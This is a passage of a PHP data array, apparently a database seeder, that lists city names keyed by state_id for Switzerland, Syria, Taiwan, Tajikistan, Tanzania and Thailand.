noirmont'],\n ['state_id' => '3436', 'name' => 'porrentruy'],\n ['state_id' => '3438', 'name' => 'adligenswil'],\n ['state_id' => '3438', 'name' => 'ballwil'],\n ['state_id' => '3438', 'name' => 'buchrain'],\n ['state_id' => '3438', 'name' => 'ebikon'],\n ['state_id' => '3438', 'name' => 'emmen'],\n ['state_id' => '3438', 'name' => 'hochdorf'],\n ['state_id' => '3438', 'name' => 'horw'],\n ['state_id' => '3438', 'name' => 'kriens'],\n ['state_id' => '3438', 'name' => 'littau'],\n ['state_id' => '3438', 'name' => 'luzern'],\n ['state_id' => '3438', 'name' => 'malters'],\n ['state_id' => '3438', 'name' => 'meggen'],\n ['state_id' => '3438', 'name' => 'neuenkirch'],\n ['state_id' => '3438', 'name' => 'perlern'],\n ['state_id' => '3438', 'name' => 'rothenburg'],\n ['state_id' => '3438', 'name' => 'ruswil'],\n ['state_id' => '3438', 'name' => 'sursee'],\n ['state_id' => '3440', 'name' => 'muhen'],\n ['state_id' => '3441', 'name' => 'bole'],\n ['state_id' => '3441', 'name' => 'boudry'],\n ['state_id' => '3441', 'name' => 'colombier'],\n ['state_id' => '3441', 'name' => 'la chaux-de-fonds'],\n ['state_id' => '3441', 'name' => 'le locle'],\n ['state_id' => '3441', 'name' => 'neuchatel'],\n ['state_id' => '3441', 'name' => 'peseux'],\n ['state_id' => '3442', 'name' => 'buochs'],\n ['state_id' => '3442', 'name' => 'hergiswil'],\n ['state_id' => '3442', 'name' => 'stans'],\n ['state_id' => '3442', 'name' => 'stansstad'],\n ['state_id' => '3443', 'name' => 'alpnach'],\n ['state_id' => '3443', 'name' => 'kerns'],\n ['state_id' => '3443', 'name' => 'sachseln'],\n ['state_id' => '3443', 'name' => 'sarnen'],\n ['state_id' => '3445', 'name' => 'neuhausen'],\n ['state_id' => '3445', 'name' => 'schaffhausen'],\n ['state_id' => '3446', 'name' => 'altendorf'],\n ['state_id' => '3446', 'name' => 'arth'],\n ['state_id' => '3446', 'name' => 'buron'],\n ['state_id' => '3446', 'name' => 'einsiedeln'],\n ['state_id' => '3446', 'name' => 'feusisberg'],\n ['state_id' => '3446', 'name' => 'freienbach'],\n ['state_id' => '3446', 'name' => 'ingenbohl'],\n ['state_id' => '3446', 'name' => 'kussnacht'],\n ['state_id' => '3446', 'name' => 'lachen'],\n ['state_id' => '3446', 'name' => 'schubelbach'],\n ['state_id' => '3446', 'name' => 'schwyz'],\n ['state_id' => '3446', 'name' => 'wangen'],\n ['state_id' => '3446', 'name' => 'wollerau'],\n ['state_id' => '3447', 'name' => 'balsthal'],\n ['state_id' => '3447', 'name' => 'bellach'],\n ['state_id' => '3447', 'name' => 'bettlach'],\n ['state_id' => '3447', 'name' => 'biberist'],\n ['state_id' => '3447', 'name' => 'derendingen'],\n ['state_id' => '3447', 'name' => 'dornach'],\n ['state_id' => '3447', 'name' => 'dulliken'],\n ['state_id' => '3447', 'name' => 'feldbrunnen'],\n ['state_id' => '3447', 'name' => 'gerlafingen'],\n ['state_id' => '3447', 'name' => 'grenchen'],\n ['state_id' => '3447', 'name' => 'hagendorf'],\n ['state_id' => '3447', 'name' => 'olten'],\n ['state_id' => '3447', 'name' => 'schonenwerd'],\n ['state_id' => '3447', 'name' => 'solothurn'],\n ['state_id' => '3447', 'name' => 'trimbach'],\n ['state_id' => '3447', 'name' => 'wangen'],\n ['state_id' => '3447', 'name' => 'zuchwil'],\n ['state_id' => '3448', 'name' => 'aadorf'],\n ['state_id' => '3448', 'name' => 'amriswil'],\n ['state_id' => '3448', 'name' => 'arbon'],\n ['state_id' => '3448', 'name' => 'bischofszell'],\n ['state_id' => '3448', 'name' => 'felben-wellhausen'],\n ['state_id' => '3448', 'name' => 'frauenfeld'],\n ['state_id' => '3448', 'name' => 'guttingen'],\n ['state_id' => '3448', 'name' => 'kreuzlingen'],\n ['state_id' => '3448', 'name' => 'romanshorn'],\n ['state_id' => '3448', 'name' => 'sirnach'],\n ['state_id' => '3448', 'name' => 'sulgen'],\n ['state_id' => '3448', 'name' => 'tagerwilen'],\n ['state_id' => '3448', 'name' => 'weinfelden'],\n ['state_id' => '3449', 'name' => 'ascona'],\n ['state_id' => '3449', 'name' => 'bellinzona'],\n ['state_id' => '3449', 'name' => 'biasca'],\n ['state_id' => '3449', 'name' => 'breganzona'],\n ['state_id' => '3449', 'name' => 'cadempino'],\n ['state_id' => '3449', 'name' => 'chiasso'],\n ['state_id' => '3449', 'name' => 'giubiasco'],\n ['state_id' => '3449', 'name' => 'locarno'],\n ['state_id' => '3449', 'name' => 'losone'],\n ['state_id' => '3449', 'name' => 'lugano'],\n ['state_id' => '3449', 'name' => 'massagno'],\n ['state_id' => '3449', 'name' => 'melide'],\n ['state_id' => '3449', 'name' => 'mendrisio'],\n ['state_id' => '3449', 'name' => 'mezzovico'],\n ['state_id' => '3449', 'name' => 'minusio'],\n ['state_id' => '3449', 'name' => 'porza'],\n ['state_id' => '3449', 'name' => 'pregassona'],\n ['state_id' => '3449', 'name' => 'viganello'],\n ['state_id' => '3450', 'name' => 'altdorf'],\n ['state_id' => '3450', 'name' => 'schattdorf'],\n ['state_id' => '3451', 'name' => 'bagnes'],\n ['state_id' => '3451', 'name' => 'brig-glis'],\n ['state_id' => '3451', 'name' => 'collombey-muraz'],\n ['state_id' => '3451', 'name' => 'conthey'],\n ['state_id' => '3451', 'name' => 'evionnaz'],\n ['state_id' => '3451', 'name' => 'fully'],\n ['state_id' => '3451', 'name' => 'martigny'],\n ['state_id' => '3451', 'name' => 'monthey'],\n ['state_id' => '3451', 'name' => 'naters'],\n ['state_id' => '3451', 'name' => 'nendaz'],\n ['state_id' => '3451', 'name' => 'niederwald'],\n ['state_id' => '3451', 'name' => 'saviese'],\n ['state_id' => '3451', 'name' => 'sierre'],\n ['state_id' => '3451', 'name' => 'sion'],\n ['state_id' => '3451', 'name' => 'visp'],\n ['state_id' => '3451', 'name' => 'vouvry'],\n ['state_id' => '3451', 'name' => 'zermatt'],\n ['state_id' => '3452', 'name' => 'aigle'],\n ['state_id' => '3452', 'name' => 'ballaigues'],\n ['state_id' => '3452', 'name' => 'bex'],\n ['state_id' => '3452', 'name' => 'blonay'],\n ['state_id' => '3452', 'name' => 'bussigny'],\n ['state_id' => '3452', 'name' => 'chavannes'],\n ['state_id' => '3452', 'name' => 'crissier'],\n ['state_id' => '3452', 'name' => 'ecublens'],\n ['state_id' => '3452', 'name' => 'epalinges'],\n ['state_id' => '3452', 'name' => 'gland'],\n ['state_id' => '3452', 'name' => 'la tour-de-peilz'],\n ['state_id' => '3452', 'name' => 'lausanne'],\n ['state_id' => '3452', 'name' => 'le mont-sur-lausanne'],\n ['state_id' => '3452', 'name' => 'lucerne'],\n ['state_id' => '3452', 'name' => 'lutry'],\n ['state_id' => '3452', 'name' => 'montreux'],\n ['state_id' => '3452', 'name' => 'morges'],\n ['state_id' => '3452', 'name' => 'nyon'],\n ['state_id' => '3452', 'name' => 'ollon'],\n ['state_id' => '3452', 'name' => 'orbe'],\n ['state_id' => '3452', 'name' => 'payerne'],\n ['state_id' => '3452', 'name' => 'prilly'],\n ['state_id' => '3452', 'name' => 'puidoux'],\n ['state_id' => '3452', 'name' => 'pully'],\n ['state_id' => '3452', 'name' => 'renens'],\n ['state_id' => '3452', 'name' => 'romainmotier'],\n ['state_id' => '3452', 'name' => 'saint sulpice'],\n ['state_id' => '3452', 'name' => 'vevey'],\n ['state_id' => '3452', 'name' => 'yverdon'],\n ['state_id' => '3453', 'name' => 'vauffelin'],\n ['state_id' => '3454', 'name' => 'baar'],\n ['state_id' => '3454', 'name' => 'cham'],\n ['state_id' => '3454', 'name' => 'hunenberg'],\n ['state_id' => '3454', 'name' => 'menzingen'],\n ['state_id' => '3454', 'name' => 'neuheim'],\n ['state_id' => '3454', 'name' => 'oberageri'],\n ['state_id' => '3454', 'name' => 'risch'],\n ['state_id' => '3454', 'name' => 'risch-rotkreuz'],\n ['state_id' => '3454', 'name' => 'steinhausen'],\n ['state_id' => '3454', 'name' => 'unterageri'],\n ['state_id' => '3454', 'name' => 'zug'],\n ['state_id' => '3455', 'name' => 'adliswil'],\n ['state_id' => '3455', 'name' => 'affoltern'],\n ['state_id' => '3455', 'name' => 'bachenbulach'],\n ['state_id' => '3455', 'name' => 'bassersdorf'],\n ['state_id' => '3455', 'name' => 'birmensdorf'],\n ['state_id' => '3455', 'name' => 'bubikon'],\n ['state_id' => '3455', 'name' => 'bulach'],\n ['state_id' => '3455', 'name' => 'dielsdorf'],\n ['state_id' => '3455', 'name' => 'dietikon'],\n ['state_id' => '3455', 'name' => 'dietlikon'],\n ['state_id' => '3455', 'name' => 'dubendorf'],\n ['state_id' => '3455', 'name' => 'durnten'],\n ['state_id' => '3455', 'name' => 'ebmatingen'],\n ['state_id' => '3455', 'name' => 'egg'],\n ['state_id' => '3455', 'name' => 'embrach'],\n ['state_id' => '3455', 'name' => 'erlenbach'],\n ['state_id' => '3455', 'name' => 'fallanden'],\n ['state_id' => '3455', 'name' => 'fehraltdorf'],\n ['state_id' => '3455', 'name' => 'geroldswil'],\n ['state_id' => '3455', 'name' => 'gossau'],\n ['state_id' => '3455', 'name' => 'greifensee'],\n ['state_id' => '3455', 'name' => 'herrliberg'],\n ['state_id' => '3455', 'name' => 'hinwil'],\n ['state_id' => '3455', 'name' => 'hombrechtikon'],\n ['state_id' => '3455', 'name' => 'horgen'],\n ['state_id' => '3455', 'name' => 'illnau-effretikon'],\n ['state_id' => '3455', 'name' => 'kilchberg'],\n ['state_id' => '3455', 'name' => 'kloten'],\n ['state_id' => '3455', 'name' => 'kusnacht'],\n ['state_id' => '3455', 'name' => 'langnau'],\n ['state_id' => '3455', 'name' => 'mannedorf'],\n ['state_id' => '3455', 'name' => 'maur'],\n ['state_id' => '3455', 'name' => 'meilen'],\n ['state_id' => '3455', 'name' => 'neftenbach'],\n ['state_id' => '3455', 'name' => 'niederhasli'],\n ['state_id' => '3455', 'name' => 'nurensdorf'],\n ['state_id' => '3455', 'name' => 'oberengstringen'],\n ['state_id' => '3455', 'name' => 'oberglatt'],\n ['state_id' => '3455', 'name' => 'oberrieden'],\n ['state_id' => '3455', 'name' => 'opfikon'],\n ['state_id' => '3455', 'name' => 'pfaffikon'],\n ['state_id' => '3455', 'name' => 'rafz'],\n ['state_id' => '3455', 'name' => 'regensdorf'],\n ['state_id' => '3455', 'name' => 'richterswil'],\n ['state_id' => '3455', 'name' => 'rumlang'],\n ['state_id' => '3455', 'name' => 'ruschlikon'],\n ['state_id' => '3455', 'name' => 'ruti'],\n ['state_id' => '3455', 'name' => 'schlieren'],\n ['state_id' => '3455', 'name' => 'schwerzenbach'],\n ['state_id' => '3455', 'name' => 'seuzach'],\n ['state_id' => '3455', 'name' => 'stafa'],\n ['state_id' => '3455', 'name' => 'thalwil'],\n ['state_id' => '3455', 'name' => 'uetikon'],\n ['state_id' => '3455', 'name' => 'urdorf'],\n ['state_id' => '3455', 'name' => 'uster'],\n ['state_id' => '3455', 'name' => 'volketswil'],\n ['state_id' => '3455', 'name' => 'wadenswil'],\n ['state_id' => '3455', 'name' => 'wald'],\n ['state_id' => '3455', 'name' => 'wallisellen'],\n ['state_id' => '3455', 'name' => 'wangen-bruttisellen'],\n ['state_id' => '3455', 'name' => 'weiningen'],\n ['state_id' => '3455', 'name' => 'wetzikon'],\n ['state_id' => '3455', 'name' => 'winterthur'],\n ['state_id' => '3455', 'name' => 'zell'],\n ['state_id' => '3455', 'name' => 'zollikon'],\n ['state_id' => '3455', 'name' => 'zumikon'],\n ['state_id' => '3455', 'name' => 'zurich'],\n ['state_id' => '3456', 'name' => 'aleppo'],\n ['state_id' => '3457', 'name' => 'dar\\'a'],\n ['state_id' => '3457', 'name' => 'nawa'],\n ['state_id' => '3458', 'name' => 'abu kamal'],\n ['state_id' => '3458', 'name' => 'dayr az-zawr'],\n ['state_id' => '3458', 'name' => 'al-mayadin'],\n ['state_id' => '3459', 'name' => 'damascus'],\n ['state_id' => '3459', 'name' => 'darayya'],\n ['state_id' => '3459', 'name' => 'duma'],\n ['state_id' => '3459', 'name' => 'hajar aswad'],\n ['state_id' => '3459', 'name' => 'harasta al-bas'],\n ['state_id' => '3459', 'name' => 'jaramanah'],\n ['state_id' => '3459', 'name' => 'kabir-as-sit'],\n ['state_id' => '3459', 'name' => 'kesweh'],\n ['state_id' => '3459', 'name' => 'qatana'],\n ['state_id' => '3459', 'name' => 'yabrud'],\n ['state_id' => '3459', 'name' => 'al-qutayfah'],\n ['state_id' => '3459', 'name' => 'an-nabk'],\n ['state_id' => '3459', 'name' => 'at-tall'],\n ['state_id' => '3459', 'name' => 'az-zabadani'],\n ['state_id' => '3460', 'name' => '\\'afrin'],\n ['state_id' => '3460', 'name' => '\\'ayn-al-\\'arab'],\n ['state_id' => '3460', 'name' => 'a\\'zaz'],\n ['state_id' => '3460', 'name' => 'halab'],\n ['state_id' => '3460', 'name' => 'manbij'],\n ['state_id' => '3460', 'name' => 'al-bab'],\n ['state_id' => '3460', 'name' => 'as-safirah'],\n ['state_id' => '3461', 'name' => 'hamah'],\n ['state_id' => '3461', 'name' => 'masyaf'],\n ['state_id' => '3461', 'name' => 'muhradah'],\n ['state_id' => '3461', 'name' => 'salamiyah'],\n ['state_id' => '3462', 'name' => 'hims'],\n ['state_id' => '3462', 'name' => 'homs'],\n ['state_id' => '3462', 'name' => 'tudmur'],\n ['state_id' => '3462', 'name' => 'al-qusayr'],\n ['state_id' => '3462', 'name' => 'ar-rastan'],\n ['state_id' => '3463', 'name' => 'ariha'],\n ['state_id' => '3463', 'name' => 'idlib'],\n ['state_id' => '3463', 'name' => 'jisr-ash-shughur'],\n ['state_id' => '3463', 'name' => 'ma\\'arrat-an-nu\\'man'],\n ['state_id' => '3465', 'name' => 'baniyas'],\n ['state_id' => '3465', 'name' => 'safita'],\n ['state_id' => '3465', 'name' => 'tartus'],\n ['state_id' => '3466', 'name' => 'ra\\'s-al-\\'ayn'],\n ['state_id' => '3466', 'name' => 'al-hasakah'],\n ['state_id' => '3466', 'name' => 'al-malikiyah'],\n ['state_id' => '3466', 'name' => 'al-qamishli'],\n ['state_id' => '3467', 'name' => 'jablah'],\n ['state_id' => '3467', 'name' => 'lattakia'],\n ['state_id' => '3467', 'name' => 'al-ladhiqiyah'],\n ['state_id' => '3468', 'name' => 'al-qunaytirah'],\n ['state_id' => '3469', 'name' => 'ar-raqqah'],\n ['state_id' => '3469', 'name' => 'ath-thawrah'],\n ['state_id' => '3470', 'name' => 'as-suwayda'],\n ['state_id' => '3471', 'name' => 'changhua city'],\n ['state_id' => '3471', 'name' => 'changhwa'],\n ['state_id' => '3471', 'name' => 'chihu'],\n ['state_id' => '3471', 'name' => 'erhlin'],\n ['state_id' => '3471', 'name' => 'hemei'],\n ['state_id' => '3471', 'name' => 'homei'],\n ['state_id' => '3471', 'name' => 'hua tan hsiang'],\n ['state_id' => '3471', 'name' => 'huatan township'],\n ['state_id' => '3471', 'name' => 'lukang'],\n ['state_id' => '3471', 'name' => 'peitou'],\n ['state_id' => '3471', 'name' => 'puyen hsiang'],\n ['state_id' => '3471', 'name' => 'tienchung'],\n ['state_id' => '3471', 'name' => 'yuanlin'],\n ['state_id' => '3477', 'name' => 'fenglin'],\n ['state_id' => '3477', 'name' => 'hualian'],\n ['state_id' => '3477', 'name' => 'yuli'],\n ['state_id' => '3478', 'name' => 'ilan'],\n ['state_id' => '3478', 'name' => 'lotung'],\n ['state_id' => '3478', 'name' => 'suao'],\n ['state_id' => '3478', 'name' => 'toucheng'],\n ['state_id' => '3482', 'name' => 'kincheng'],\n ['state_id' => '3482', 'name' => 'kinhsia'],\n ['state_id' => '3482', 'name' => 'kinhu'],\n ['state_id' => '3483', 'name' => 'cholan'],\n ['state_id' => '3483', 'name' => 'chunan'],\n ['state_id' => '3483', 'name' => 'houlung'],\n ['state_id' => '3483', 'name' => 'miaoli'],\n ['state_id' => '3483', 'name' => 'toufen'],\n ['state_id' => '3483', 'name' => 'tunghsiao'],\n ['state_id' => '3483', 'name' => 'yuanli'],\n ['state_id' => '3483', 'name' => 'zaociao'],\n ['state_id' => '3484', 'name' => 'chichi'],\n ['state_id' => '3484', 'name' => 'chushan'],\n ['state_id' => '3484', 'name' => 'nantou'],\n ['state_id' => '3484', 'name' => 'puli'],\n ['state_id' => '3484', 'name' => 'tsaotun'],\n ['state_id' => '3486', 'name' => 'makung'],\n ['state_id' => '3487', 'name' => 'chaochou'],\n ['state_id' => '3487', 'name' => 'hengchun'],\n ['state_id' => '3487', 'name' => 'pingtung'],\n ['state_id' => '3487', 'name' => 'tungkang'],\n ['state_id' => '3488', 'name' => 'dali'],\n ['state_id' => '3488', 'name' => 'south district'],\n ['state_id' => '3488', 'name' => 'ta-ya shang'],\n ['state_id' => '3489', 'name' => 'dali'],\n ['state_id' => '3489', 'name' => 'south district'],\n ['state_id' => '3489', 'name' => 'ta-ya shang'],\n ['state_id' => '3490', 'name' => 'dali'],\n ['state_id' => '3490', 'name' => 'south district'],\n ['state_id' => '3490', 'name' => 'ta-ya shang'],\n ['state_id' => '3495', 'name' => 'kuanshan'],\n ['state_id' => '3495', 'name' => 'taitung'],\n ['state_id' => '3496', 'name' => 'chengkung'],\n ['state_id' => '3496', 'name' => 'chungli'],\n ['state_id' => '3496', 'name' => 'kuan yin'],\n ['state_id' => '3496', 'name' => 'pate'],\n ['state_id' => '3496', 'name' => 'pingchen'],\n ['state_id' => '3496', 'name' => 'ta yuan'],\n ['state_id' => '3496', 'name' => 'tachi'],\n ['state_id' => '3496', 'name' => 'taoyuan'],\n ['state_id' => '3496', 'name' => 'tungshih'],\n ['state_id' => '3496', 'name' => 'yangmei'],\n ['state_id' => '3497', 'name' => 'wujie'],\n ['state_id' => '3499', 'name' => 'hsilo'],\n ['state_id' => '3499', 'name' => 'huwei'],\n ['state_id' => '3499', 'name' => 'peikang'],\n ['state_id' => '3499', 'name' => 'touliu'],\n ['state_id' => '3499', 'name' => 'tounan'],\n ['state_id' => '3499', 'name' => 'tuku'],\n ['state_id' => '3500', 'name' => 'dushanbe'],\n ['state_id' => '3501', 'name' => 'khorug'],\n ['state_id' => '3501', 'name' => 'murgob'],\n ['state_id' => '3502', 'name' => 'garm'],\n ['state_id' => '3502', 'name' => 'hisor'],\n ['state_id' => '3502', 'name' => 'kofarnihon'],\n ['state_id' => '3502', 'name' => 'leninskiy'],\n ['state_id' => '3502', 'name' => 'rogun'],\n ['state_id' => '3502', 'name' => 'shakhrinau'],\n ['state_id' => '3502', 'name' => 'tursunzoda'],\n ['state_id' => '3503', 'name' => 'dangara'],\n ['state_id' => '3503', 'name' => 'farkhor'],\n ['state_id' => '3503', 'name' => 'jilikul'],\n ['state_id' => '3503', 'name' => 'khojamaston'],\n ['state_id' => '3503', 'name' => 'kolhozobod'],\n ['state_id' => '3503', 'name' => 'kulob'],\n ['state_id' => '3503', 'name' => 'kumsangir'],\n ['state_id' => '3503', 'name' => 'moskva'],\n ['state_id' => '3503', 'name' => 'mu\\'minobod'],\n ['state_id' => '3503', 'name' => 'nurak'],\n ['state_id' => '3503', 'name' => 'pyanj'],\n ['state_id' => '3503', 'name' => 'qurgonteppa'],\n ['state_id' => '3503', 'name' => 'sarband'],\n ['state_id' => '3503', 'name' => 'shaartuz'],\n ['state_id' => '3503', 'name' => 'sovetskiy'],\n ['state_id' => '3503', 'name' => 'vakhsh'],\n ['state_id' => '3503', 'name' => 'vose'],\n ['state_id' => '3503', 'name' => 'yovon'],\n ['state_id' => '3504', 'name' => 'adrasmon'],\n ['state_id' => '3504', 'name' => 'asht'],\n ['state_id' => '3504', 'name' => 'ayni'],\n ['state_id' => '3504', 'name' => 'buston'],\n ['state_id' => '3504', 'name' => 'chkalov'],\n ['state_id' => '3504', 'name' => 'chorku'],\n ['state_id' => '3504', 'name' => 'gafurov'],\n ['state_id' => '3504', 'name' => 'ganchi'],\n ['state_id' => '3504', 'name' => 'isfara'],\n ['state_id' => '3504', 'name' => 'khujand'],\n ['state_id' => '3504', 'name' => 'konibodom'],\n ['state_id' => '3504', 'name' => 'matcha'],\n ['state_id' => '3504', 'name' => 'nau'],\n ['state_id' => '3504', 'name' => 'panjakent'],\n ['state_id' => '3504', 'name' => 'proletarsk'],\n ['state_id' => '3504', 'name' => 'qayroqqum'],\n ['state_id' => '3504', 'name' => 'shurob'],\n ['state_id' => '3504', 'name' => 'taboshar'],\n ['state_id' => '3504', 'name' => 'uroteppa'],\n ['state_id' => '3504', 'name' => 'zafarobod'],\n ['state_id' => '3505', 'name' => 'arusha'],\n ['state_id' => '3507', 'name' => 'dodoma'],\n ['state_id' => '3507', 'name' => 'kondoa'],\n ['state_id' => '3507', 'name' => 'mpwapwa'],\n ['state_id' => '3508', 'name' => 'iringa'],\n ['state_id' => '3508', 'name' => 'njombe'],\n ['state_id' => '3509', 'name' => 'bukoba'],\n ['state_id' => '3509', 'name' => 'bwanga'],\n ['state_id' => '3509', 'name' => 'ngara'],\n ['state_id' => '3510', 'name' => 'kasulu'],\n ['state_id' => '3510', 'name' => 'kigoma'],\n ['state_id' => '3510', 'name' => 'uvinza'],\n ['state_id' => '3511', 'name' => 'moshi'],\n ['state_id' => '3511', 'name' => 'same'],\n ['state_id' => '3512', 'name' => 'kilwa kivinje'],\n ['state_id' => '3512', 'name' => 'lindi'],\n ['state_id' => '3512', 'name' => 'nachingwea'],\n ['state_id' => '3513', 'name' => 'musoma'],\n ['state_id' => '3513', 'name' => 'tarime'],\n ['state_id' => '3514', 'name' => 'mbeya'],\n ['state_id' => '3514', 'name' => 'mwaya'],\n ['state_id' => '3514', 'name' => 'tukuyu'],\n ['state_id' => '3515', 'name' => 'kilosa'],\n ['state_id' => '3515', 'name' => 'mahenge'],\n ['state_id' => '3515', 'name' => 'morogoro'],\n ['state_id' => '3516', 'name' => 'masasi'],\n ['state_id' => '3516', 'name' => 'mikindani'],\n ['state_id' => '3516', 'name' => 'mtwara'],\n ['state_id' => '3516', 'name' => 'newala'],\n ['state_id' => '3517', 'name' => 'magu'],\n ['state_id' => '3517', 'name' => 'mwanza'],\n ['state_id' => '3517', 'name' => 'nansio'],\n ['state_id' => '3517', 'name' => 'sengerama'],\n ['state_id' => '3518', 'name' => 'bagamoyo'],\n ['state_id' => '3518', 'name' => 'kibaha'],\n ['state_id' => '3518', 'name' => 'rufiji'],\n ['state_id' => '3518', 'name' => 'utete'],\n ['state_id' => '3519', 'name' => 'mpanda'],\n ['state_id' => '3519', 'name' => 'sumbawanga'],\n ['state_id' => '3520', 'name' => 'songea'],\n ['state_id' => '3520', 'name' => 'tunduru'],\n ['state_id' => '3521', 'name' => 'kahama'],\n ['state_id' => '3521', 'name' => 'maswa'],\n ['state_id' => '3521', 'name' => 'mwadui'],\n ['state_id' => '3521', 'name' => 'old shinyanga'],\n ['state_id' => '3521', 'name' => 'shinyanga'],\n ['state_id' => '3522', 'name' => 'manyoni'],\n ['state_id' => '3522', 'name' => 'singida'],\n ['state_id' => '3523', 'name' => 'bukene'],\n ['state_id' => '3523', 'name' => 'nzega'],\n ['state_id' => '3523', 'name' => 'tabora'],\n ['state_id' => '3523', 'name' => 'urambo'],\n ['state_id' => '3524', 'name' => 'korogwe'],\n ['state_id' => '3524', 'name' => 'muheza'],\n ['state_id' => '3524', 'name' => 'pangani'],\n ['state_id' => '3524', 'name' => 'tanga'],\n ['state_id' => '3528', 'name' => 'bangkhen'],\n ['state_id' => '3528', 'name' => 'bangkok'],\n ['state_id' => '3528', 'name' => 'phatumthanee'],\n ['state_id' => '3530', 'name' => 'bang khla'],\n ['state_id' => '3530', 'name' => 'bang pakong'],\n ['state_id' => '3530', 'name' => 'bangpakong'],\n ['state_id' => '3530', 'name' => 'chachoengsao'],\n ['state_id' => '3530', 'name' => 'phanom sarakham'],\n ['state_id' => '3530', 'name' => 'plaeng yao'],\n ['state_id' => '3532', 'name' => 'bamnet narong'],\n ['state_id' => '3532', 'name' => 'chaiyaphum'],\n ['state_id' => '3532', 'name' => 'kaeng khlo'],\n ['state_id' => '3532', 'name' => 'kaset sombun'],\n ['state_id' => '3532', 'name' => 'phu khieo'],\n ['state_id' => '3534', 'name' => 'chanthaburi'],\n ['state_id' => '3534', 'name' => 'khlung'],\n ['state_id' => '3534', 'name' => 'laem sing'],\n ['state_id' => '3534', 'name' => 'soydow'],\n ['state_id' => '3534', 'name' => 'tha mai'],\n ['state_id' => '3538', 'name' => 'chumphon'],\n ['state_id' => '3538', 'name' => 'lang suan'],\n ['state_id' => '3539', 'name' => 'huai mek'],\n ['state_id' => '3539', 'name' => 'kalasin'],\n ['state_id' => '3539', 'name' => 'kamalasai'],\n ['state_id' => '3539', 'name' => 'khao wong'],\n ['state_id' => '3539', 'name' => 'kuchinarai'],\n ['state_id' => '3539', 'name' => 'nong kung si'],\n ['state_id' => '3539', 'name' => 'yang talat'],\n ['state_id' => '3541', 'name' => 'bo phloi'],\n ['state_id' => '3541', 'name' => 'kanchanaburi'],\n ['state_id' => '3541', 'name' => 'phanom thuan'],\n ['state_id' => '3541', 'name' => 'tha maka'],\n ['state_id' => '3541', 'name' => 'tha muang'],\n ['state_id' => '3543', 'name' => 'ao luk'],\n ['state_id' => '3543', 'name' => 'krabi'],\n ['state_id' => '3545', 'name' => 'lampang'],\n ['state_id' => '3545', 'name' => 'thoen'],\n ['state_id' => '3546', 'name' => 'lamphun'],\n ['state_id' => '3546', 'name' => 'mae tha'],\n ['state_id' => '3546', 'name' => 'pa sang'],\n ['state_id' => '3547', 'name' => 'loei'],\n ['state_id' => '3547', 'name' => 'phu kra dung'],\n ['state_id' => '3547', 'name' => 'wang saphung'],\n ['state_id' => '3551', 'name' => 'mukdahan'],\n ['state_id' => '3558', 'name' => 'chiang klang'],\n ['state_id' => '3558', 'name' => 'nan'],\n ['state_id' => '3559', 'name' => 'bacho'],\n ['state_id' => '3559', 'name' => 'narathiwat'],\n ['state_id' => '3559', 'name' => 'rangae'],\n ['state_id' => '3559', 'name' => 'sungai kolok'],\n ['state_id' => '3559', 'name' => 'sungai padi'],\n ['state_id' => '3559', 'name' => 'tak bai'],\n ['state_id' => '3562', 'name' => 'bang bo thong'],\n ['state_id' => '3562', 'name' => 'bang kruai'],\n ['state_id' => '3562', 'name' => 'bang yai'],\n ['state_id' => '3562', 'name' => 'nonthaburi'],\n ['state_id' => '3562', 'name' => 'pak kret'],\n ['state_id' => '3562', 'name' => 'sainoi'],\n ['state_id' => '3564', 'name' => 'nong chik'],\n ['state_id' => '3564', 'name' => 'pattani'],\n ['state_id' => '3564', 'name' => 'sai buri'],\n ['state_id' => '3564', 'name' => 'yaring'],\n ['state_id' => '3565', 'name' => 'phangnga'],\n ['state_id' => '3566', 'name' => 'phatthalung'],\n ['state_id' => '3567', 'name' => 'chiang kham'],\n ['state_id' => '3567', 'name' => 'dok kham tai'],\n ['state_id' => '3567', 'name' => 'phayao'],\n ['state_id' => '3567', 'name' => 'pong'],\n ['state_id' => '3568', 'name' => 'chon daen'],\n ['state_id' => '3568', 'name' => 'lom sak'],\n ['state_id' => '3568', 'name' => 'nong phai'],\n ['state_id' => '3568', 'name' => 'phetchabun'],\n ['state_id' => '3568', 'name' => 'wichian buri'],\n ['state_id' => '3569', 'name' => 'ban laem'],\n ['state_id' => '3569', 'name' => 'chaam'],\n ['state_id' => '3569', 'name' => 'khao yoi'],\n ['state_id' => '3569', 'name' => 'phetchaburi'],\n ['state_id' => '3569', 'name' => 'tha yang'],\n ['state_id' => '3570', 'name' => 'bang mun nak'],\n ['state_id' => '3570', 'name' => 'phichit'],\n ['state_id' => '3570', 'name' => 'taphan hin'],\n ['state_id' => '3570', 'name' => 'thap khlo'],\n ['state_id' => '3571', 'name' => 'bang krathum'],\n ['state_id' => '3571', 'name' => 'bang rakam'],\n ['state_id' => '3571', 'name' => 'nakhon thai'],\n ['state_id' => '3571', 'name' => 'phitsanulok'],\n ['state_id' => '3573', 'name' => 'den chai'],\n ['state_id' => '3573', 'name' => 'long'],\n ['state_id' => '3573', 'name' => 'phrae'],\n ['state_id' => '3573', 'name' => 'rong kwang'],\n ['state_id' => '3574', 'name' => 'kathu'],\n ['state_id' => '3574', 'name' => 'phuket'],\n ['state_id' => '3577', 'name' => 'ranong'],\n ['state_id' => '3578', 'name' => 'ban pong'],\n ['state_id' => '3578', 'name' => 'bang phae'],\n ['state_id' => '3578', 'name' => 'chom bung'],\n ['state_id' => '3578', 'name' => 'damnoen saduak'],\n ['state_id' => '3578', 'name' => 'photharam'],\n ['state_id' => '3578', 'name' => 'ratchaburi'],\n ['state_id' => '3579', 'name' => 'ban chang'],\n ['state_id' => '3579', 'name' => 'klaeng'],\n ['state_id' => '3579', 'name' => 'rayong'],\n ['state_id' => '3586', 'name' => 'ban mo'],\n ['state_id' => '3586', 'name' => 'kaeng khoi'],\n ['state_id' => '3586', 'name' => 'nong khae'],\n ['state_id' => '3586', 'name' => 'phra phutthabat'],\n ['state_id' => '3586', 'name' => 'saraburi'],\n ['state_id' => '3587', 'name' => 'satun'],\n ['state_id' => '3590', 'name' => 'hat yai'],\n ['state_id' => '3590', 'name' => 'ranot'],\n ['state_id' => '3590', 'name' => 'sadao'],\n ['state_id' => '3590', 'name' => 'singha nakhon'],\n ['state_id' => '3590', 'name' => 'songkhla'],\n ['state_id' => '3591', 'name' => 'khiri mat'],\n ['state_id' => '3591', 'name' => 'sawankhalok'],\n ['state_id' => '3591', 'name' => 'si satchanalai'],\n ['state_id' => '3591', 'name' => 'sukhothai'],\n ['state_id' => '3594', 'name' => 'phasat'],\n ['state_id' => '3594', 'name' => 'surin'],\n ['state_id' => '3595', 'name' => 'ban tak'],\n ['state_id' => '3595', 'name' => 'mae ramat'],\n 